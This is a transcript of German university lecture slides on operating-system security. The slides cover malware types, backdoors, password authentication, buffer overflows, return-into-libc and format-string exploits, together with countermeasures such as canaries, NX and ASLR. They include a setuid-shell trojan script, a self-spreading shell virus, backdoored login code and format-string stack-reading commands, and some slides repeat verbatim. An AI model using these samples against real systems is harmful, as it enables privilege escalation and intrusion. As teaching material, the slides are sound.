Vorlesung Betriebssysteme II

Größe: px
Ab Seite anzeigen:

Download "Vorlesung Betriebssysteme II"

Transkript

1 1 / 109 Vorlesung Betriebssysteme II Thema 7: Betriebssysteme-Sicherheit Robert Baumgartl 18. Mai 2015

2 Überblick 2 / 109 Grundbegriffe Bösartige Software Authentifizierungsmechanismen Angriffstechniken: Buffer Overflow Return-into-Libc Format String Exploit Angriffscode (Shellcode)

3 3 / 109 Grundbegriffe Ziele der Systemsicherheit Ziel Vertraulichkeit Datenintegrität Systemverfügbarkeit Bedrohung Ausspionieren der Daten Datenmanipulation Denial of Service Tabelle: Sicherheitsziele und deren Bedrohungen eng verwandt: Datenschutz Verhinderung des Missbrauchs personenbezogener Daten

4 4 / 109 Grundbegriffe Bedrohungen Quelle Ziel Quelle Ziel ungestörter Informationsfluß Unterbrechung Quelle Ziel Quelle Ziel Abfangen der Information Modifizieren der Information Quelle Ziel Fälschen der Information Abbildung: Szenarien Vier Kategorien: Interruption: z. B. Denial-of-Service, Interception: Angriff auf Vertraulichkeit Modification: Angriff auf Integrität, z. B. Man-in-the-Middle Attack Fabrication (Forging): z. B. Einfügen gefälschter Objekte in System

5 Überblick Bösartige Software Wirtsprogramm nötig unabhängig Hintertüren Logische Bomben Viren Würmer Trojanische Pferde verbreiten sich selbständig Abbildung: Mögliche Kategorisierung bösartiger Software lokale vs. entfernte Angriffe on-line- vs. off-line-angriffe 5 / 109

6 6 / 109 Logische Bomben Idee: Implantierung bösartigen Codes in Applikationen (oder in das BS), Aktivierung des Codes, sobald eine bestimmte Aktivierungsbedingung erfüllt Aktivierungsbedingung Eintritt eines Datums (logische) Zeitbombe (Kalender von Aktivierungsdaten: /virus_calendar.aspx) meist simples Löschen von Daten häufig eingesetzt, um Rache für Entlassung o. ä. zu üben

7 Ausschnitt aus dem McAfee-Aktivierungskalender 7 / Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM, VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A (Intended), WM/Eraser.A:Tw, VBS/Aqui 13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae, WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B, WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A, WM/Goldsecret.B:Int,WM/CVCK1.B;E, W97M/Rapmak.a, W97M/Yous, W97M/Alamat, WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A, W97M/Digma 14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat, W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM, WM/PHARDERA.C ;D (INTENDED), W97M/Class.B, W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw, VBS/Aqui 15. Mai...

8 8 / 109 Hintertüren (Back Doors) Idee: Einbau (nichtdokumentierter) Schnittstellen in Software zwecks späterem (unautorisiertem) Zugriff auf das System. Mißbrauch von geheimen Debugging-Schnittstellen schwierig von BS-Seite aus zu erkennen häufiges Relikt aus der Produktentwicklung Behörden sind häufig der Meinung, ein Anrecht auf Hintertüren zu haben Gegenmaßnahme: Code Reviews, Open Source symmetrische vs. asymmetrische Hintertüren viele Würmer installieren Back Doors Klassiker: Back Orifice ( feste Master-BIOS-Passworte, z. B. lkwpeter bei Award BIOS

9 Beispiel einer Hintertür Beispiel: Login-Code mit Hintertür 1 while (TRUE) { printf("login: "); get_string(name); disable_echoing(); printf("password: "); get_string(password); enable_echoing(); v = check_validity(name, password); if (v strcmp(name, "zzzzz") == 0) break; } execute_shell(name); 1 Andrew S. Tanenbaum. Modern Operating Systems. 2. Aufl. Prentice-Hall, 2001, S / 109

10 Beispiel 2 (Backdoor im Linux-Kern; nice try) 10 / 109 From: Larry McVoy [ blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov :23: On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote: > Out of curiosity, what were the changed lines? --- GOOD :46: BAD ,6 schedule(); goto repeat; } + if ((options == ( WCLONE WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING; --- Larry McVoy lm at bitmover.com

11 11 / 109 Beispiel 2 (Backdoor im Linux-Kern; nice try) jemand modifizierte die Kernelquellen (unautorisiert) fraglicher Code gehört zu sys_wait4(), d. h. dem Systemruf wait4() verkleideter Code ; current->uid = 0 sieht so ähnlich aus wie current->uid == 0 wenn jemand wait4() aufruft und die Optionen WCLONE und WALL sind gesetzt, so wird der Rufende root Code wurde beim Review entdeckt ( It s not a big deal, we catch stuff like this, but it s annoying to the CVS users. )

12 Trojanische Pferde ( Trojaner ) Idee: dem Nutzer ein Programm unterschieben, welches bei Aktivierung unerlaubte Aktionen ausführt anstelle eines Eindringlings führt ein autorisierter Nutzer Schadcode aus Beispiel: gefälschter Login-Bildschirm Klassiker: Compiler, der unbemerkt bösartigen Code in übersetzte Programme einbaut 2 vgl. Bundestrojaner 2 Ken Thompson. Reflections on Trusting Trust. In: Communications of the ACM 27.4 (Aug. 1984), S / 109

13 13 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

14 14 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

15 15 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

16 16 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

17 17 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* kopiert und versteckt Shell setzt das SetUID-Bit und macht die Shell für alle ausführbar läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden Zugriff auf Daten des Angegriffenen

18 18 / 109 (Computer)-Viren A virus is a program that is able to infect other programs by modifying them to include a possibly evolved copy of itself. (Fred Cohen) einige Varianten: Stealth-Viren polymorphe Viren Bootsektor-Viren Macro-Viren

19 19 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

20 20 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

21 21 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

22 22 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

23 23 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i"!= "$0"; then tail -n 5 $0 cat >> $i; fi done Analyse: beschränkt auf eigenes Verzeichnis mehrfache Infektion wahrscheinlich kein Payload leicht zu analysieren ;-)

24 Ein (etwas) besserer Virus 24 / 109 for i in *.sh; do if test "./$i"!= "$0"; then HOST=$(echo -n $(tail -10 $i)) VIR=$(echo -n $(tail -10 $0)) if [ "$HOST"!= "$VIR" ] then tail -n 10 $0 cat >> $i; fi fi done

25 25 / 109 Würmer An independently replicating and autonomous infection agent, capable of seeking out new host systems and infecting them via the network. (Jose Nazario. Defence and Detection Strategies against Internet Worms. Artech House, 2004) Bekannte Vertreter: W32.Blaster Melissa Mydoom Sasser Conficker

26 Komponenten eines Wurms 26 / Aufklärung neuer Hosts als potentielle Angriffsziele IP-Adreßräume (partiell) durchsuchen lokale Suche in (z. B.) Konfigurationsdateien OS Fingerprinting, um BS-Typ und -Version zu ermitteln 2. Angriffscode Remote Exploit bekannter Schwachstellen Trojanisches Pferd (z.b. Mail mit attached Binary) benötigt für jede anzugreifende Plattform Exploit 3. Kommunikation z. B. mittels ICMP, UDP,..., über verdeckte Kanäle Verbergen beteiligter Prozesse und Sockets mittels Kernelmodul oder durch Störung von Überwachungssoftware

27 Komponenten eines Wurms 27 / Kommandoschnittstelle interaktiv oder indirekt (script-gesteuert) typische Kommandos: Up-/Download von Dateien, Flut-Ping, Generierung von HTTP-Requests, Verwaltung der erfolgreich angegriffenen Hosts verteilte oder zentralisierte Datenbank Liste aller befallenen Rechner in privatem IRC-Channel

28 Rootkits 28 / 109 Def. Ein Rootkit ist ein (üblicherweise unerwünschtes) Programm, das sich nach Installation vor dem Nutzer verbirgt. Merkmale: Installation typischerweise nach erfolgreichem Einbruch, um Einbruchszweck abzusichern, z. B.: dauerhafte Unterwanderung des Systems Diebstahl von Passwortdaten per Keylogger oder Sniffer verschafft sich keine root-privilegien, sondern benötigt diese bei Installation Eintrittsvektoren: versehentliches Ausführen physischer Zugriff des Angreifers auf System Einbruch via Netzwerk

29 29 / 109 Rootkits dateibasierte vs. kernelbasierte Rootkits 1. dateibasierte Rootkits tauschen Werkzeuge aus, die zur Detektion des Rootkits genutzt werde könnten (ssh, ps, ls, netstat) Unterart: Library Rootkits: tauschen die entsprechenden Systembibliotheken aus laufen im User Mode 2. kernelbasierte Rootkits modifizieren (Überraschung!) den Kernel z. B. über Modulmechanismus oder Speicherabbild (/dev/kmem) äußerst schwierig zu detektieren

30 30 / 109 Rootkits Gegenmaßnahmen 1. Unrechtmäßigen root-zugriff verhindern 2. Unrechtmäßigen root-zugriff verhindern (again!) 3. Deaktivierung des Modulmechanismus ( alle Treiber statisch in den Kernel kompiliern) 4. Vergleich nach außen geöffnete Ports (netstat) mit externem Portscan (nmap) Achtung, Hackertool! 5. Suche nach charakteristischen Zeichenketten im Hauptspeicher (Werkzeug chkrootkit) 6. Boot von sauberem Datenträger (Live-CD) und Suche nach verdächtigen Dateien

31 31 / 109 Authentifizierung = Identifizierung von Nutzern durch einen Host-Rechner Eingabe eines Passwortes bei der Anmeldung Prüfung des eingegebenen Passwortes durch Host Host muß das Passwort nicht kennen ( kein Diebstahl z. B. durch Administrator möglich) Stattdessen: Nutzung von Einwegfunktionen Protokoll: 1. Nutzer übermittelt dem Host Passwort 2. Der Host wendet eine Einwegfunktion auf das Passwort an. 3. Der Host vergleicht das Ergebnis mit dem Wert, der beim Anlegen des Zugangs gespeichert wurde.

32 32 / 109 Mögliche Angriffe auf den Vorgang der Authentifizierung Ausspähen des Passwortes Social Engineering Erraten des Passwortes Wörterbuchangriff Brute Force

33 Erraten des Passwortes 33 / 109 Ein legendärer Einbruch im Lawrence Berkeley Laboratory (Clifford Stoll. Kuckucksei. Fischer, 1989): LBL> telnet elxsi Elxsi at LBL login: root password: root incorrect passwort, try again login: guest password: guest incorrect passwort, try again login: uucp password: uucp WELCOME TO THE ELXSI COMPUTER AT LBL bei gut gewarteten Systemen heute nahezu aussichtslos

34 mein eigener PC (idir) /var/log/auth.log, Ausschnitt Apr 5 14:44:35 idir sshd[14612]: Failed password for invalid user admin from port ssh2 Apr 5 14:44:39 idir sshd[14620]: Failed password for root from port ssh2 Apr 5 14:44:43 idir sshd[14630]: Failed password for root from port ssh2 Apr 5 14:44:44 idir sshd[14640]: Invalid user test from Apr 5 14:44:46 idir sshd[14640]: Failed password for invalid user test from port ssh2 Apr 5 14:44:47 idir sshd[14648]: Invalid user test from Apr 5 14:44:49 idir sshd[14648]: Failed password for invalid user test from port ssh2 Apr 5 14:44:51 idir sshd[14656]: Invalid user webmaster from Apr 5 14:44:53 idir sshd[14656]: Failed password for invalid user webmaster fro m port ssh2 Apr 5 14:44:54 idir sshd[14666]: Invalid user user from Apr 5 14:44:56 idir sshd[14666]: Failed password for invalid user user from port ssh2 Apr 5 14:44:58 idir sshd[14674]: Invalid user username from Apr 5 14:45:00 idir sshd[14674]: Failed password for invalid user username from port ssh2 Apr 5 14:45:01 idir sshd[14684]: Invalid user username from Apr 5 14:45:03 idir sshd[14684]: Failed password for invalid user username from port ssh2 Apr 5 14:45:05 idir sshd[14692]: Invalid user user from Apr 5 14:45:07 idir sshd[14692]: Failed password for invalid user user from port ssh2 Apr 5 14:45:10 idir sshd[14702]: Failed password for root from port ssh2 Apr 5 14:45:11 idir sshd[14710]: Invalid user admin from Apr 5 14:45:13 idir sshd[14710]: Failed password for invalid user admin from port ssh2 Apr 5 14:45:15 idir sshd[14718]: Invalid user test from Apr 5 14:45:17 idir sshd[14718]: Failed password for invalid user test from / 109

35 Wörterbuchangriff (Dictionary Attack) 35 / 109 Idee: Offline-Generierung einer Liste aus Einträgen mit potentielles Passwort potentielles Passwort, verschlüsselt alle möglichen Worte, Namen, Bezeichner usw. mittels der Einwegfunktion des Betriebssystems verschlüsseln Diebstahl der Passwortdatei Vergleich der verschlüsselten Wortliste mit den Hashes aus der Passwortdatei Bei Übereinstimmung ist das unverschlüsselte Passwort der entsprechende Eintrag aus der Wortliste Werkzeug john, the Password Cracker

36 36 / 109 Erschwerung des Wörterbuchangriffes mittels Salz Passwort wird vor Verschlüsselung mit einer Zufallszahl konkateniert (dem Salz) Salz wird mit in der (geheimen) Passwortdatei gespeichert bei genügend großer Anzahl möglicher Hash-Werte wird ein Wörterbuchangriff unmöglich Mallory müßte zu jedem Wort alle möglichen Salz-Werte durchprobieren

37 37 / 109 Beispiel: Bibliotheksfunktion crypt() char *crypt(const char *key, const char *salt); crypt() is the password encryption function. It is based on the Data Encryption Standard algorithm with variations intended (among other things) to discourage use of hardware implementations of a key search. key zeigt auf die (unverschlüsselte) Passphrase salt ist Zeiger auf Salz (zweibuchstabige Zeichenkette) Resultat: DES-verschlüsselter Passworthash moderne Implementierungen bieten bessere Hashverfahren (z. B. SHA-512)

38 38 / 109 Weitere Gegenmaßnahmen gegen Wörterbuchangriff möglichst keine Hinweise auf Länge des PW ( * u. ä.) in der Eingabemaske möglichst kein Hinweis, ob NKZ gültig oder nicht Verzögerung nach jedem erfolglosen Anmeldeversuch periodisches Erneuern der Passworte: + gecrackte PW werden automatisch ausgetauscht nachteilig, daß Nutzer ständig neue PW lernen müssen

39 39 / 109 Challenge-Response zur Authentifizierung Ablauf: 1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen 2. Bob sendet eine Zufallszahl ( Nonce - (random) number, used once) an Alice Challenge 3. Alice verschlüsselt die Nonce mit ihrem Passwort und schickt das Chiffrat an Bob Response 4. Bob verschlüsselt die Nonce ebenfalls mit Alice Passwort (d. h., Bob muss Alice Passwort kennen) 5. ist das Chiffrat gleich der Antwort von Alice, so wird Zugang gewährt

40 Beispiel: Authentifizierung in Windows Authentifizierungsprotokoll NTLM - NT Lan Manager zum großen Teil reverse-engineered liegt mittlerweile offen Grobablauf: 1. Client (Nutzer) schickt eine sog. Type-1-Nachricht an den Server, die verschiedene Parameter der Authentifizierung festlegt 2. Server (Host) antwortet mit einer Type-2-Nachricht, die u. a. eine 8 Byte lange Nonce enthält 3. Client verschlüsselt die Nonce mit seinem Passwort als Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server konkretes Verfahren hängt von den zuvor ausgehandelten Parametern ab es wird MD4, MD5 und DES eingesetzt Literatur: 40 / 109

41 Sicherheit von NTLM Stellen Zeichenraum Dauer 6 A-Za-z0-9 1 min 6 A-Za-z0-9, 22 SZ 6 min 8 A-Za-z0-9 2 d, 17 h 8 A-Za-z0-9, 22 SZ 33 d 8 A-Za-z0-9, alle SZ 82 d 11 A-Za-z 270 a Tabelle: Maximale Dauer der Ermittlung von NTLM-Passworten mittels Distributed Password Recovery (ElcomSoft) 22 SZ = typische Sonderzeichen, d.h. _@#$&+-=%*"~!?.,:;()<> genutztes System: AMD Athlon X2 4850e, 2 Nvidia GeForce 9800 GTX (Stefan Arbeiter und Matthias Deeg. Bunte Rechenknechte. In: c t 6 (2009), S ) 41 / 109

42 Authentifizierung mit physischen Objekten 42 / 109 Schlüssel Chipkarten passiv Stored Value Cards, z.b. Telefonkarten aktiv Smart Cards, ausgerüstet mit 8-Bit-CPU, Scratch RAM, ROM, EEPROM PC 1. Challenge an Smart Card Server Smart Card 3. Response an Server 2. Smart Card errechnet Antwort Abbildung: Nutzung einer Smartcard zur Authentifizierung

43 Angriffstechniken 43 / 109

44 Buffer Overflow (Sehr einfaches) verwundbares Programm 44 / 109 # i n c l u d e < s t d i o. h> i n t main ( i n t argc, char argv [ ] ) { char b u f f e r [ ] ; i f ( argc > 1) { s t r c p y ( b u f f e r, argv [ 1 ] ) ; } r e t u r n 0; }

45 45 / 109 Buffer Overflow Prinzip bestimmte Funktionen der C-Bibliothek führen keine Längenprüfung ihrer Argumente aus (Klassiker: strcpy()) Idee: lokale Variablen (über deren Länge hinaus) mit einer solchen Funktion überfluten (Stack Overflow) Überschreiben der Rückkehradresse auf dem Stack mit Adresse einer Schadroutine bei Verlassen der aktuellen Funktion Sprung zur Schadroutine Ursache: mögliches Verlassen von Feldgrenzen in C, ungeprüfte Länge der Argumente von Bibliotheksfunktionen wie strcpy() oder gets(), gezielte Manipulation von Zeigervariablen

46 46 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen Funktionsparameter <Ret> SFP lokale Variablen Puffer

47 47 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen Funktionsparameter <Ret> SFP lokale Variablen Puffer

48 48 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen Funktionsparameter <Ret> SFP lokale Variablen Puffer

49 49 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen Funktionsparameter <Ret> SFP lokale Variablen Puffer

50 50 / 109 Stack Overflow Ausschnitt des Stacks hohe Adressen niedrige Adressen Funktionsparameter <Ret> SFP lokale Variablen Puffer

51 Buffer Overflow Einfache Gegenmaßnahmen 51 / 109 Verzicht auf unsichere Funktionen, u.a. strcpy(), strcat(), sprintf(), vsprintf(), gets() bzw. Nutzung der Pendants mit Bereichsprüfung, aber: Semantik nicht übereinstimmend (z. B. nullterminiert strncpy() das Ziel nicht bei maximal langem String) Geschwindigkeitsnachteile Legacy Code?

52 Buffer Overflow Stackguard 52 / 109 Idee: Schutz der Rücksprungadresse durch zusätzliches Canary Word. Canary Word wird im Funktionsprolog angelegt Overflow überschreibt Canary beim Rücksprung aus Funktion wird Canary auf Integrität getestet Abbruch, wenn falscher Wert hohe Adressen niedrige Adressen Funktionsparameter <Ret> Canary SFP lokale Variablen Puffer

53 53 / 109 Buffer Overflow Wahl des Canary Word Terminator Canary Werte nutzen, die typische Zeichenkettenfunktionen terminieren Wert Symbol Semantik 0x00 - stoppt strcpy() 0x0a LF stoppt gets() 0x0d CR -1 EOF stoppt gets() Tabelle: Terminator Canary optimal ist z. B. 0x000d0aff Random Canary erst zum Programmstart generiert; Angreifer kann darauf nicht mehr reagieren (Angreifer läuft parallel zum angegriffenen Programm)

54 54 / 109 Stackguard Grenzen des Konzepts moderate Leistungseinbuße Lokale Variablen und Saved Frame Pointer nicht geschützt Canary Word u. U. durch Angreifer restaurierbar, wenn statisch vgl. Bulba and Kil3r. Bypassing Stackguard and Stackshield. In: Phrack (Jan. 2000). URL: http: //

55 55 / 109 StackShield Idee: 1. Rücksprungadresse im Prolog in eine extra Tabelle kopieren 2. im Epilog Kopie der Rücksprungadresse wieder an entsprechende Position im Stack schreiben 3. keine Prüfung auf Identität

56 56 / 109 Ausführungsverbot beschreibbarer Seiten (W X ) Einfachster Fall: Architektur unterstützt Execute-Recht im Seitentabelleneintrag (Beispiele: Sparc, PPC, IA64) Problem: IA32 tut dies nicht. Lösung 1: NX ( No-Execute ) aka Enhanced Virus Protection erfordert Physical/Page Address Extension (PAE) existiert eigentlich ab Pentium Pro NX jedoch erst ab Prescott-Kern (Intel), AMD64 Seitentabelleneintrag 64 Bit (anstatt 32) Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiB nur noch 1/4 der Einträge drittes Hierarchielevel (vgl. folgende Grafik) gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit) Bit 63 ist das (No)-Execute-Bit

57 Adressumsetzung bei PAE 57 / PTR Dir Table Offset lineare Adresse CR3 PageDirPt1 PageDirPt2 PageDirPt3 PageDirPt4 Page Directory Pointer Table PD Eintrag PTE gewähltes Byte gewählte Seite Page Directory 512 Einträge NX Bit (63) Page Tables 512 Einträge physischer Adreßraum

58 Ausführungsverbot beschreibbarer Seiten (W X ) II 58 / 109 Lösung 2: Emulation in Software alle PTEs der zu schützenden Bereiche (Stack, Heap, Daten) haben initial Supervisor-Bit gesetzt Pagefault bei Zugriff Handler: bei Instruction Fetch Abbruch der Task, Logging des Angriffs bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen (Überführung der Übersetzung in Data-TLB), Setzen des SV-Bits weitere Datenzugriffe durch DTLB gecacht nur möglich, wenn getrennte Daten- und Code-TLBs

59 59 / 109 Ausführungsverbot beschreibbarer Seiten Einbau in Betriebssysteme: Linux ab Windows XP ab SP2; kein Backport nach Windows 2000 PaX-System, vgl.

60 Address Space Layout Randomization (ASLR) 60 / 109 Beobachtung: Distanz zwischen Top-of-Stack (TOS) und anzugreifender Rücksprungadresse ist konstant, wird offline (werkzeuggestützt) erraten und in Exploit eingebaut. Idee: Anfangsadressen von Stack, Heap und Code werden zufällig zur Ladezeit generiert. Problem: eingeblendete shared Libraries müssen auch zufällig verteilt werden $ cat /proc/self/maps grep libc erschwert auch return-into-libc-exploits

61 61 / 109 Return-into-Libc Manipulation einer Rückkehradresse auf dem Stack mittels Buffer Overflow jedoch ( Rück -)Sprung in eine Shared Library (libc) anstatt zu eigenem Shellcode (Abb. nächste Folie) Beispiel: system("/bin/sh"); (führt /bin/sh -c /bin/sh aus) wenn angegriffenes Programm setuid root ist, wird damit eine root-shell geöffnet macht nichtausführbaren Stack wirkungslos

62 Stacklayout bei Return-into-Libc 62 / 109 originaler Stack: Argumente der (angegriffenen) Funktion Low lokale Variablen sfp RET arg0 arg1 arg2 High manipulierter Stack: Rückkehradresse aus libc Ruf Argument 0 des libc Rufes Überflutung sfp Adr in libc dummy arg0 system() {... } "/bin/sh" Code in der libc

63 63 / 109 Anmerkungen dummy-feld ist Rückkehradresse, die angesprungen wird, wenn system() verlassen wird irrelevant, wenn interaktive Shell gestartet wurde, da diese nicht zurückkehrt

64 Bestimmung der Einsprungadresse (statisch) cat dummy.c int main() { system(); } robge@hadrian$ gcc -o dummy dummy.c robge@hadrian$ gdb -q dummy Using host libthread_db library "/lib/tls/i686/cmov/libthread_d (gdb) break main Breakpoint 1 at 0x (gdb) run Starting program: /home/local/robge/src/cracking/dummy Breakpoint 1, 0x in main () (gdb) print system $1 = {<text variable, no debug info>} 0xb7ed8990 <system> Gegenmittel: Address Space Layout Randomization, Parameterübergabe in Registern (ELF64-SystemV ABI bei x86-64) 64 / 109

65 65 / 109 Dynamische Ermittlung der Einsprungadresse Idee: Sohn erzeugen, der kontinuierlich system("") aufruft Instruction Pointer springt zwischen main() und system() (libc-funktion) mittels ptrace() kann die genaue Adresse von system() bestimmt werden... Code ansehen...

66 Verkettung zweier libc-rufe 66 / 109 originaler Stack: Argumente der (angegriffenen) Funktion Low lokale Variablen sfp RET arg0 arg1 arg2 High manipulierter Stack: "dummy" Überflutung sfp Adr1 in libc Adr2 in libc arg0 für setuid arg0 für system setuid() {... } system() {... } "/bin/sh" =0x o.ä.

67 67 / 109 Verkettung zweier libc-rufe Reihenfolge setuid() system() setuid(0) leider unmöglich, da Pufferüberlauf damit vorzeitig abbrechen würde nur möglich, wenn erster libc-aufruf genau ein Argument übernimmt (dummy-lücke) weitere Rufe nicht möglich

68 Return-into-Libc-Angriff Weitere Techniken 68 / 109 mehr als 2 libc-aufrufe mit beliebig vielen Argumenten (!!) Frame Pointer Lifting Frame Faking Nullbytes im angegriffenen Puffer ebenfalls möglich Literatur: Nergal. The advanced return-into-lib(c) exploits: PaX case study. In: Phrack (Dez. 2001). URL:

69 Format String Exploits 69 / 109

70 70 / 109 Wie funktioniert eigentlich printf()? int printf(const char *format,...); zeichenweises Kopieren des Format-Strings nach stdout %-Platzhalter wird durch TOS (Top of Stack) ersetzt, das entsprechend formatiert wird (SP wird entsprechend angepaßt) %s: ZK, auf die TOS verweist, wird ausgegeben (terminiert, wenn \0 gelesen) %n: schreibt Anzahl bereits ausgegebener Bytes in Variable, auf die TOS verweist (Schreiboperation auf Stack!) keine Prüfung auf Art und Anzahl der Argumente zur Übersetzungszeit möglich

71 Beispiel für Nutzung von printf() printf-ex.c 71 / 109 #include <stdio.h> int main(int argc, char *argv[]) { char string[7] = "sample"; int A = -72; unsigned int B = 31337; int count_one, count_two; /* Example of printing with different format string */ printf("[a] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A); printf("[b] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B); printf("[field width on B] 3: %3u, 10: %10u, %08u \n", B, B, B); printf("[string] %s Address %08x\n", string, string); /* Example of unary address operator and a %x format string */ printf("count_one is located at: %08x\n", &count_one); printf("count_two is located at: %08x\n", &count_two); /* Example of a %n format string */ printf("the number of bytes written up to this point X%n is being stored \ in count_one, and the number of bytes up to here X%n is being stored in \ count_two.\n", &count_one, &count_two); printf("count_one: %d\n", count_one); printf("count_two: %d\n", count_two); /* Stack Example */ printf("a is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); return 0; }

72 72 / 109 Explizite Adressierung von Argumenten Zur direkten Adressierung von Argumenten im Formatstring dient der $ -Operator Zählung ab 1 #include <stdio.h> int main(void) { printf("%2$s%1$s%3$s%1$s\n", "otz", "H", "enpl"); return 0; } Beispiel für Nutzung des $-Operanden im Formatstring

73 Stacklayout printf("a is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); Adresse von B Parameter von printf() Wert von B Adresse von A Wert von A Adresse des fmtstring <RET> SP Low 73 / 109

74 Beispiel für verwundbare Funktion fmt_vuln.c 74 / 109 #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2){ printf("usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); /* The right way to print user-controlled input: */ printf("the right way:\n"); printf("%s", text); /* The wrong way to print user-controlled input: */ printf("\nthe wrong way:\n"); printf(text); printf("\n"); /* Debug output */ printf("[*] 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); return 0; }

75 bisschen ausprobieren / 109 robge@hadrian$./fmt_vuln Ni%x The right way: Ni%x The wrong way: Nibffff3e4 robge@hadrian$./fmt_vuln perl -e print "%08x."x40; The right way: 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. The wrong way: bffff334.b7ff3de7.b80016a4.bffff e.30252e78.252e7838.2e e.30252e78.252e7838.2e e.30252e78.252e e e.30252e78.252e7838.2e e.30252e e7838.2e e.30252e78.252e7838.2e e e78.252e7838.2e [*] 0x = -72 0xffffffb8 Stack auslesbar

76 Gezieltes Auslesen einer Adresse deadbeef.c Abbildung: Zustand des Stacks nach Eintritt in printf() 76 / 109 #include <stdio.h> int main(void) { printf ("\xef\xbe\xad\xde_%08x.%08x.%08x.%08x %s ") ; return 0; } (im Datensegment) "\xef\xbe\xad\xde_%08x.%08x.%08x.%08x %s " SP += 4 Argument des printf() Rufs fmt string <RET> sfp local vars FP SP Zeichenkette ab Adresse 0xdeadbeef wird mittels %s ausgegeben. Low

77 77 / 109 Gezieltes Auslesen %08x-Platzhalter bewegen SP so weit, bis fmt-string (1. Argument des printf()-rufes) TOS ist %s-platzhalter gibt Zeichenkette aus, die durch TOS referenziert wird Dump (im Beispiel) des Speicherinhalts ab Adresse 0xdeadbeef beliebige Adressen als Zeichenketten-Dump auslesbar Beendigung bei Lesen eines \0 -Bytes

